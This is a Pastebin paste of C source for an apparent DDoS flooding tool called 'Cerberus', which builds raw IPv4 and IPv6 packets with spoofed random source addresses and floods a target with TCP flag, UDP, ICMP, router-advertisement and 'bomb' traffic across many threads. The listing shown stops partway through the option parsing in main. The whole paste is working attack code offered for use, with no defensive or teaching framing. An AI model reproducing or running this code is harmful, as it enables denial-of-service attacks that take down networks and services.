KhaosBringer

Cerberus Attack Script.c

Nov 26th, 2018
790
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 34.53 KB | None | 0 0
  1. /* Usage: ./cerb -4 -T0 -h 1.1.1.1 -s 1.1.1.255 -p 22,22 -t 600  */
  2.  
  3. #ifndef _BSD_SOURCE
  4. #define _BSD_SOURCE
  5. #endif
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <unistd.h>
  9. #include <netdb.h>
  10. #include <sys/types.h>
  11. #include <netinet/in_systm.h>
  12. #include <sys/socket.h>
  13. #include <sys/resource.h>
  14. #include <sys/wait.h>
  15. #include <string.h>
  16. #include <time.h>
  17. #include <signal.h>
  18. #ifndef __USE_BSD
  19. #define __USE_BSD
  20. #endif
  21. #ifndef __FAVOR_BSD
  22. #define __FAVOR_BSD
  23. #endif
  24. #include <netinet/in.h>
  25. #include <netinet/ip.h>
  26. #include <netinet/ip6.h>
  27. #include <netinet/ip_icmp.h>
  28. #include <netinet/icmp6.h>
  29. #include <netinet/tcp.h>
  30. #include <netinet/udp.h>
  31. #include <arpa/inet.h>
  32. #include <pthread.h>
  33. #define INET_ADDR 16
  34. #define INET6_ADDR 46
  35. #define TCP_FIN 1
  36. #define TCP_SYN 2
  37. #define TCP_RST 4
  38. #define TCP_PSH 8
  39. #define TCP_ACK 16
  40. #define TCP_URG 32
  41. #define TCP_ECE 64
  42. #define TCP_CWR 128
  43. #define TCP_NOF 256
  44. #define TCP_FRG 512
  45. #define TCP_BMB 1024
  46. #define UDP_BMB 2048
  47. #define RAW_BMB 4096
  48. #define UDP_CFF 8192
  49. #define ICMP_ECHO_G 16384
  50. #define ICMP6_ROUTERADV 134
  51. #define ICMP_HDRLEN 8
  52. #define TH_NOF 0x0
  53. #ifdef LINUX
  54. #define FIX(x) htons(x)
  55. #else
  56. #define FIX(x) (x)
  57. #endif
  58. void *send_tcp(void* arg);
  59. void *send_udp(void* arg);
  60. void *send_icmp(void* arg);
  61. void *send_icmp_ra(void* arg);
  62. void *send_bomb(void* arg);
  63. void handle_exit();
  64. unsigned short in_cksum(unsigned short *addr, int len);
  65. unsigned short xchecksum(unsigned short *buffer, int size);
  66. char *class2ip(const char *class);
  67. char *class2ip6(const char *class);
  68. void inject(struct ip *ip, u_char p, u_char len);
  69. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  70. u_long lookup(const char *host);
  71. int main(int argc, char *argv[]);
  72. #define MAX_THREADS 32768
  73. pthread_t attack_thread[MAX_THREADS];
  74. struct thread_data {
  75. int initialized; // valid thread?
  76. int flag4, flag6; // v4 or v6
  77. int start;
  78. int packets;
  79. unsigned int timeout; // attack timeout
  80. int thread;
  81. unsigned int bombsize; // size of connect bomb
  82. unsigned int datasize; // size of tcp data after header
  83. unsigned int window_size; // window size
  84. int socket; // rawsock
  85. int a_flags; // a_flags
  86. struct sockaddr_in destination4;
  87. struct sockaddr_in6 destination6;
  88. u_long dstaddr;
  89. u_char th_flags;
  90. int d_lport;
  91. int d_hport;
  92. int s_lport;
  93. int s_hport;
  94. char *src_class;
  95. char *dst_class;
  96. char SrcIP4[INET_ADDR];
  97. char SrcIP6[INET6_ADDR];
  98. char DestIP4[INET_ADDR];
  99. char DestIP6[INET6_ADDR];
  100. };
  101. struct thread_data thread_data_array[MAX_THREADS];
  102. void handle_exit () {
  103. int packets;
  104. packets = thread_data_array[1].packets + thread_data_array[2].packets + thread_data_array[4].packets + thread_data_array[8].packets + thread_data_array[16].packets
  105. + thread_data_array[32].packets + thread_data_array[64].packets + thread_data_array[128].packets + thread_data_array[256].packets
  106. + thread_data_array[512].packets + thread_data_array[1024].packets + thread_data_array[2048].packets + thread_data_array[4096].packets
  107. + thread_data_array[8192].packets + thread_data_array[16384].packets;
  108. printf ("Packeting completed, %d total, %d seconds, %d pps\n", packets, (int) time (NULL) -
  109. thread_data_array[0].start, packets / ((int) time (NULL) - thread_data_array[0].start));
  110. exit (0);
  111. }
  112. struct pseudo_hdr {
  113. u_long saddr, daddr;
  114. u_char mbz, ptcl;
  115. u_short tcpl;
  116. };
  117. struct checksum {
  118. struct pseudo_hdr pseudo;
  119. struct tcphdr tcp;
  120. };
  121. unsigned short
  122. in_cksum(unsigned short *addr, int len) {
  123. int nleft = len;
  124. int sum = 0;
  125. unsigned short *w = addr;
  126. unsigned short answer = 0;
  127. while (nleft > 1) {
  128. sum += *w++;
  129. nleft -= 2;
  130. }
  131. if (nleft == 1) {
  132. *(unsigned char *) (&answer) = *(unsigned char *)w;
  133. sum += answer;
  134. }
  135. sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  136. sum += (sum >> 16);
  137. answer = ~sum;
  138. return answer;
  139. }
  140. unsigned short
  141. xchecksum(unsigned short *buffer, int size) {
  142. unsigned int sum = 0;
  143. __asm__ __volatile__(
  144. "movl (%1), %0\n"
  145. "subl $4, %2\n"
  146. "jbe 2f\n"
  147. "addl 4(%1), %0\n"
  148. "adcl 8(%1), %0\n"
  149. "adcl 12(%1), %0\n"
  150. "1:\n"
  151. "adcl 16(%1), %0\n"
  152. "lea 4(%1), %1\n"
  153. "decl %2\n"
  154. "jne 1b\n"
  155. "adcl $0, %0\n"
  156. "movl %0, %2\n"
  157. "shrl $16, %0\n"
  158. "addw %w2, %w0\n"
  159. "adcl $0, %0\n"
  160. "notl %0\n"
  161. "2:\n"
  162. : "=r" (sum), "=r" (buffer), "=r" (size)
  163. : "1" (buffer), "2" (size)
  164. );
  165. return(sum);
  166. }
  167. char *src_class, *dst_class = NULL;
  168. char *class2ip(const char *class) {
  169. static char ip[INET_ADDR];
  170. int i, j;
  171. for (i = 0, j = 0; class[i] != '\0'; ++i)
  172. if (class[i] == '.')
  173. ++j;
  174. switch (j) {
  175. case 0:
  176. sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 245+1, (int) random() % 225+1, (int) random() % 215+1);
  177. break;
  178. case 1:
  179. sprintf(ip, "%s.%d.%d", class, (int) random() % 245+1, (int) random() % 215+1);
  180. break;
  181. case 2:
  182. sprintf(ip, "%s.%d", class, (int) random() % 245+1);
  183. break;
  184. default: strncpy(ip, class, INET_ADDR);
  185. break;
  186. }
  187. return ip;
  188. }
  189. char *class2ip6(const char *class) {
  190. static char ip[INET6_ADDR];
  191. uint16_t n;
  192. int x, y;
  193. for (x = 0, y = 0; class[x] != '\0'; ++x)
  194. if (class[x] == ':')
  195. ++y;
  196. int i;
  197. for (i = 0; i < 7; i++) {
  198. char hex[3][i];
  199. n = mrand48();
  200. n = rand();
  201. FILE * f = fopen("/dev/urandom", "rb");
  202. fread(&n, sizeof(uint16_t), 1, f);
  203. sprintf(hex[i], "%04X", n);
  204. if(i==0)
  205. strcpy(ip, class);
  206. strcat(ip, hex[i]);
  207. if(i<6)
  208. strcat(ip, "2001:");
  209. }
  210. return ip;
  211. }
  212. void
  213. inject(struct ip *ip, u_char p, u_char len) {
  214. ip->ip_hl = 5;
  215. ip->ip_v = 4;
  216. ip->ip_p = p;
  217. ip->ip_tos = 0x08; /* 0x08 */
  218. ip->ip_id = random();
  219. ip->ip_len = len;
  220. ip->ip_off = 0;
  221. ip->ip_ttl = 255;
  222. ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ? inet_addr(class2ip(thread_data_array[0].dst_class)) : thread_data_array[0].dstaddr;
  223. ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ? inet_addr(class2ip(thread_data_array[0].src_class)) : random();
  224. thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  225. }
  226. void
  227. inject6(struct ip6_hdr *ip, u_char p, u_char len) {
  228. ip->ip6_ctlun.ip6_un1.ip6_un1_flow = htonl ((6 << 28) | (0 << 20) | 0);
  229. ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons( 8 + len );
  230. ip->ip6_ctlun.ip6_un1.ip6_un1_nxt = p;
  231. ip->ip6_ctlun.ip6_un1.ip6_un1_hlim = 255;
  232. inet_pton (AF_INET6, thread_data_array[0].DestIP6, &ip->ip6_dst);
  233. inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  234. thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  235. }
  236. u_long lookup(const char *host) {
  237. struct hostent *hp;
  238. if ( (hp = gethostbyname2(host,AF_INET)) == NULL) {
  239. perror("gethostbyname2");
  240. exit(-1);
  241. }
  242. return *(u_long *)hp->h_addr;
  243. }
  244. int resolve (const char *host) {
  245. struct addrinfo hints, *res;
  246. int errcode;
  247. char addrstr[100];
  248. void *ptr;
  249. memset (&hints, 0, sizeof (hints));
  250. hints.ai_family = PF_UNSPEC;
  251. hints.ai_socktype = SOCK_STREAM;
  252. hints.ai_flags |= AI_CANONNAME;
  253. errcode = getaddrinfo (host, NULL, &hints, &res);
  254. if (errcode != 0) {
  255. perror ("[-] getaddrinfo");
  256. exit(-1);
  257. }
  258. while (res) {
  259. inet_ntop (res->ai_family, res->ai_addr->sa_data, addrstr, 100);
  260. switch (res->ai_family) {
  261. case AF_INET:
  262. ptr = &((struct sockaddr_in *) res->ai_addr)->sin_addr;
  263. break;
  264. case AF_INET6:
  265. ptr = &((struct sockaddr_in6 *) res->ai_addr)->sin6_addr;
  266. break;
  267. }
  268. inet_ntop (res->ai_family, ptr, addrstr, 100);
  269. res = res->ai_next;
  270. }
  271. return 0;
  272. }
  273. //resolve(argv[1]); // example if you wish to use
  274.  
  275. void *send_tcp(void* arg) {
  276. struct thread_data *param2 = arg;
  277. struct checksum checksum;
  278. struct packet
  279. {
  280. struct ip ip;
  281. struct tcphdr tcp;
  282. char buf[param2->datasize];
  283. } packet;
  284. struct packet6
  285. {
  286. struct ip6_hdr ip;
  287. struct tcphdr tcp;
  288. char buf[param2->datasize];
  289. } packet6;
  290. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  291. signal(SIGALRM, handle_exit);
  292. alarm(thread_data_array[0].timeout);
  293. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  294. {
  295. do
  296. {
  297. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  298. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof(packet)));
  299. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  300. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  301. checksum.pseudo.mbz = 0;
  302. checksum.pseudo.ptcl = IPPROTO_TCP;
  303. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  304. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  305. packet.tcp.th_win = htons(65535);
  306. packet.tcp.th_seq = random();
  307. //packet.tcp.th_x2 = 4;
  308. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  309. packet.tcp.th_ack = random();
  310. else
  311. packet.tcp.th_ack = 0;
  312. if(param2->a_flags == TCP_FRG)
  313. {
  314. packet.tcp.th_flags = (rand()%(TH_SYN-TH_FIN))+TH_FIN;
  315. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  316. }
  317. else
  318. {
  319. packet.tcp.th_flags = param2->th_flags;
  320. packet.tcp.th_off = 5;
  321. }
  322. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  323. packet.tcp.th_urp = htons(sizeof(packet));
  324. else
  325. packet.tcp.th_urp = 0;
  326. packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  327. random () :
  328. htons(thread_data_array[0].s_lport + (random() %
  329. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  330. packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  331. random () :
  332. htons(thread_data_array[0].d_lport + (random() %
  333. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  334. checksum.tcp = packet.tcp;
  335. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  336. param2->packets++;
  337. } while ( sendto(param2->socket, &packet, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,
  338. sizeof(thread_data_array[0].destination4)) );
  339. }
  340. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  341. {
  342. do
  343. {
  344. //memset(&packet6, 0, sizeof packet6);
  345. memset(&packet6, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  346. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  347. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  348. checksum.pseudo.mbz = 0;
  349. checksum.pseudo.ptcl = IPPROTO_TCP;
  350. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  351. packet6.tcp.th_win = htons(65535);
  352. packet6.tcp.th_seq = random();
  353. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  354. packet.tcp.th_ack = random();
  355. else
  356. packet.tcp.th_ack = 0;
  357. if(param2->a_flags == TCP_FRG)
  358. {
  359. packet.tcp.th_flags = (rand()%(TH_SYN-TH_FIN))+TH_FIN;
  360. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  361. }
  362. else
  363. {
  364. packet.tcp.th_flags = param2->th_flags;
  365. packet.tcp.th_off = 5;
  366. }
  367. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  368. packet.tcp.th_urp = htons(sizeof(packet));
  369. else
  370. packet.tcp.th_urp = 0;
  371. packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  372. random () :
  373. htons(thread_data_array[0].s_lport + (random() %
  374. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  375. packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  376. random () :
  377. htons(thread_data_array[0].d_lport + (random() %
  378. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  379. checksum.tcp = packet.tcp;
  380. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  381. param2->packets++;
  382. } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  383. }
  384. return 0;
  385. }
  386. void *send_udp(void* arg) {
  387. struct thread_data *param2 = arg;
  388. struct packet
  389. {
  390. struct ip ip;
  391. struct udphdr udp;
  392. char buf[param2->datasize];
  393. } packet;
  394. struct packet6
  395. {
  396. struct ip6_hdr ip;
  397. struct udphdr udp;
  398. char buf[param2->datasize];
  399. } packet6;
  400. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  401. signal(SIGALRM, handle_exit);
  402. alarm(thread_data_array[0].timeout);
  403. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  404. {
  405. do
  406. {
  407. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.udp));
  408. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  409. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  410. packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  411. random () :
  412. htons(thread_data_array[0].s_lport + (random() %
  413. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  414. packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  415. random () :
  416. htons(thread_data_array[0].d_lport + (random() %
  417. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  418. packet.udp.uh_ulen = htons(sizeof packet.udp);
  419. packet.udp.uh_sum = 0;
  420. packet.udp.uh_sum = xchecksum((void *)&packet, sizeof(packet));
  421. param2->packets++;
  422. } while ( sendto(param2->socket, &packet, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)) );
  423. }
  424. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  425. {
  426. do
  427. {
  428. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.udp));
  429. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  430. packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  431. random () :
  432. htons(thread_data_array[0].s_lport + (random() %
  433. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  434. packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  435. random () :
  436. htons(thread_data_array[0].d_lport + (random() %
  437. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  438. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  439. packet6.udp.uh_sum = 0;
  440. packet6.udp.uh_sum = xchecksum((void *)&packet6, sizeof(packet6));
  441. param2->packets++;
  442. } while ( sendto(param2->socket, &packet6, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  443. }
  444. return 0;
  445. }
  446. void *send_icmp(void* arg)
  447. {
  448. struct thread_data *param2 = arg;
  449. struct packet
  450. {
  451. struct ip ip;
  452. struct icmp icmp;
  453. } packet;
  454. struct packet6
  455. {
  456. struct ip6_hdr ip;
  457. struct icmp6_hdr icmp;
  458. } packet6;
  459. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  460. signal(SIGALRM, handle_exit);
  461. alarm(thread_data_array[0].timeout);
  462. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  463. {
  464. do
  465. {
  466. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.icmp));
  467. inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  468. packet.ip.ip_sum = xchecksum((void *)&packet.ip, sizeof(packet.ip));
  469. packet.icmp.icmp_type = ICMP_ECHO;
  470. packet.icmp.icmp_code = 0;
  471. packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
  472. packet.icmp.icmp_id = random() % 255;
  473. packet.icmp.icmp_seq = random() % 255;
  474. param2->packets++;
  475. } while ( sendto( param2->socket, &packet, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,
  476. sizeof(thread_data_array[0].destination4)) );
  477. }
  478. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  479. {
  480. do
  481. {
  482. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.icmp));
  483. inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  484. packet6.icmp.icmp6_type = ICMP6_ECHO_REQUEST;
  485. packet6.icmp.icmp6_code = 0;
  486. packet6.icmp.icmp6_cksum = 0;
  487. packet6.icmp.icmp6_cksum = xchecksum((void *)&packet6, sizeof(packet6));
  488. packet6.icmp.icmp6_id = random();
  489. packet6.icmp.icmp6_seq = random();
  490. param2->packets++;
  491. } while ( sendto( param2->socket, &packet6.icmp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,
  492. sizeof(thread_data_array[0].destination6)) );
  493. }
  494. return 0;
  495. }
  496.  
  497. void *send_icmp_ra(void* arg) {
  498. struct thread_data *param2 = arg;
  499. struct packet6
  500. {
  501. struct ip6_hdr ip;
  502. struct icmp6_hdr icmp;
  503. } packet6;
  504. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  505. signal(SIGALRM, handle_exit);
  506. alarm(thread_data_array[0].timeout);
  507. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  508. do {
  509. memset(&packet6, 0, sizeof(packet6.ip)+sizeof(packet6.icmp));
  510. inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  511. packet6.icmp.icmp6_type = ICMP6_ROUTERADV;
  512. packet6.icmp.icmp6_code = 0;
  513. packet6.icmp.icmp6_cksum = 0;
  514. packet6.icmp.icmp6_cksum = xchecksum((void *)&packet6, sizeof(packet6));
  515. packet6.icmp.icmp6_id = random();
  516. packet6.icmp.icmp6_seq = random();
  517. param2->packets++;
  518. } while ( sendto( param2->socket, &packet6.icmp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,
  519. sizeof(thread_data_array[0].destination6)) );
  520. }
  521. return 0;
  522. }
  523. void *send_bomb(void* arg) {
  524. struct thread_data *param2 = arg;
  525. struct checksum checksum;
  526. struct packet
  527. {
  528. struct ip ip;
  529. struct tcphdr tcp;
  530. struct udphdr udp;
  531. char buf[param2->bombsize];
  532. } packet;
  533. struct packet6
  534. {
  535. struct ip6_hdr ip;
  536. struct tcphdr tcp;
  537. struct udphdr udp;
  538. char buf[param2->bombsize];
  539. } packet6;
  540. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  541. {
  542. if(param2->a_flags == RAW_BMB)
  543. param2->socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  544. }
  545. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  546. {
  547. if(param2->a_flags == RAW_BMB)
  548. param2->socket = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
  549. }
  550. int i;
  551. for (i = sizeof(packet) + 1; i < (param2->bombsize); i++)
  552. {
  553. packet.buf[i] = '\x00';
  554. }
  555. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  556. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  557. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  558. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  559. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  560. signal(SIGALRM, handle_exit);
  561. alarm(thread_data_array[0].timeout);
  562. do
  563. {
  564. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  565. {
  566. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)
  567. {
  568. memset(&packet, 0, sizeof packet);
  569. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  570. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  571. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  572. checksum.pseudo.mbz = 0;
  573. if(param2->a_flags == TCP_BMB)
  574. checksum.pseudo.ptcl = IPPROTO_TCP;
  575. else if(param2->a_flags == RAW_BMB)
  576. checksum.pseudo.ptcl = IPPROTO_RAW;
  577. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  578. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  579. packet.tcp.th_win = htons(65535);
  580. packet.tcp.th_seq = random();
  581. packet.tcp.th_off = 5;
  582. //thread_data_array[0].destination4.sin_port = htons(113);
  583. checksum.tcp = packet.tcp;
  584. //packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  585. }
  586. else if(param2->a_flags == UDP_BMB)
  587. {
  588. memset(&packet, 0, sizeof packet);
  589. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  590. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  591. packet.udp.uh_ulen = htons(sizeof packet.udp);
  592. packet.udp.uh_sum = 0;
  593. }
  594. }
  595. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  596. {
  597. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)
  598. {
  599. memset(&packet6, 0, sizeof packet6);
  600. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  601. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  602. checksum.pseudo.mbz = 0;
  603. if(param2->a_flags == TCP_BMB)
  604. checksum.pseudo.ptcl = IPPROTO_TCP;
  605. else if(param2->a_flags == RAW_BMB)
  606. checksum.pseudo.ptcl = IPPROTO_RAW;
  607. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  608. packet6.tcp.th_win = htons(65535);
  609. packet6.tcp.th_seq = random();
  610. } else if(param2->a_flags == UDP_BMB) {
  611. memset(&packet6, 0, sizeof packet6);
  612. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  613. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  614. packet6.udp.uh_sum = 0;
  615. }
  616. }
  617. param2->packets++;
  618. } while ( send(param2->socket, &packet, sizeof(packet), 0) );
  619. return 0;
  620. }
  621. const char *banner_name = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
  622. static void
  623. usage(const char *argv0) {
  624. printf("%s \n", banner_name);
  625. printf(" -U UDP    attack                   \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  626. printf(" -I ICMP   attack                   \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  627. printf(" -R Router attack                   \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  628. printf(" -T TCP  attack                 \e[1;37m(\e[0m0:FIN   1: SYN\e[1;37m)\e[0m\n");
  629. printf("                                \e[1;37m(\e[0m2:RST   3:PUSH\e[1;37m)\e[0m\n");
  630. printf("                                \e[1;37m(\e[0m4:ACK   5: URG\e[1;37m)\e[0m\n");
  631. printf("                                \e[1;37m(\e[0m6:ECE   7: CWR\e[1;37m)\e[0m\n");
  632. printf("                                \e[1;37m(\e[0m8:NOF   9:FRAG\e[1;37m)\e[0m\n");
  633. printf(" -B BMB attack [type,size]   \e[1;37m[\e[0m0:TCP 1:UDP 2:RAW\e[1;37m]\e[0m\n");
  634. printf(" -h destination ip                  \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  635. printf(" -d destination class               \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  636. printf(" -s source class/ip                     \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  637. printf(" -p destination port range [start,end]  \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  638. printf(" -q source port range [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  639. printf(" -t timeout                         \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  640. printf(" -w window size [ 1-65535 ]             \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  641. printf("\e[1mUsage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n", argv0);
  642. exit(-1);
  643. }
  644. int
  645. main(int argc, char *argv[]) {
  646. int i = 0, n;
  647. int on = 1;
  648. struct sockaddr_in DestAddress4;
  649. struct sockaddr_in6 DestAddress6;
  650. thread_data_array[0].a_flags = 0;
  651. thread_data_array[0].window_size = 0;
  652. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  653. thread_data_array[i].a_flags = 0;
  654. }
  655. while ( (n = getopt(argc, argv, "46T:B:IRUh:d:s:t:p:q:w:")) != -1) {
  656. char *p;
  657. unsigned int bombsize = 0;
  658. unsigned int datasize = 0;
  659. unsigned int window_size = 0;
  660. switch (n)
  661. {
  662. case '4':
  663. thread_data_array[0].flag4 = 1;
  664. break;
  665. case '6':
  666. thread_data_array[0].flag6 = 1;
  667. break;
  668. case 'T':
  669. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  670. datasize = 4;
  671. if(datasize == 0)
  672. datasize = atoi(p + 1);
  673. if(datasize > 4096)
  674. datasize = 4096;
  675. switch (atoi(optarg))
  676. {
  677. case 0:
  678. thread_data_array[TCP_FIN].initialized = 1;
  679. thread_data_array[0].a_flags |= TCP_FIN;
  680. thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  681. thread_data_array[TCP_FIN].datasize = datasize;
  682. break;
  683. case 1:
  684. thread_data_array[TCP_SYN].initialized = 1;
  685. thread_data_array[0].a_flags |= TCP_SYN;
  686. thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  687. thread_data_array[TCP_SYN].datasize = datasize;
  688. break;
  689. case 2:
  690. thread_data_array[TCP_RST].initialized = 1;
  691. thread_data_array[0].a_flags |= TCP_RST;
  692. thread_data_array[TCP_RST].a_flags |= TCP_RST;
  693. thread_data_array[TCP_RST].datasize = datasize;
  694. break;
  695. case 3:
  696. thread_data_array[TCP_PSH].initialized = 1;
  697. thread_data_array[0].a_flags |= TCP_PSH;
  698. thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
  699. thread_data_array[TCP_PSH].datasize = datasize;
  700. break;
  701. case 4:
  702. thread_data_array[TCP_ACK].initialized = 1;
  703. thread_data_array[0].a_flags |= TCP_ACK;
  704. thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
  705. thread_data_array[TCP_ACK].datasize = datasize;
  706. break;
  707. case 5:
  708. thread_data_array[TCP_URG].initialized = 1;
  709. thread_data_array[0].a_flags |= TCP_URG;
  710. thread_data_array[TCP_URG].a_flags |= TCP_URG;
  711. thread_data_array[TCP_URG].datasize = datasize;
  712. break;
  713. case 6:
  714. thread_data_array[TCP_ECE].initialized = 1;
  715. thread_data_array[0].a_flags |= TCP_ECE;
  716. thread_data_array[TCP_ECE].a_flags |= TCP_ECE;
  717. thread_data_array[TCP_ECE].datasize = datasize;
  718. break;
  719. case 7:
  720. thread_data_array[TCP_CWR].initialized = 1;
  721. thread_data_array[0].a_flags |= TCP_CWR;
  722. thread_data_array[TCP_CWR].a_flags |= TCP_CWR;
  723. thread_data_array[TCP_CWR].datasize = datasize;
  724. break;
  725. case 8:
  726. thread_data_array[TCP_NOF].initialized = 1;
  727. thread_data_array[0].a_flags |= TCP_NOF;
  728. thread_data_array[TCP_NOF].a_flags |= TCP_NOF;
  729. thread_data_array[TCP_NOF].datasize = datasize;
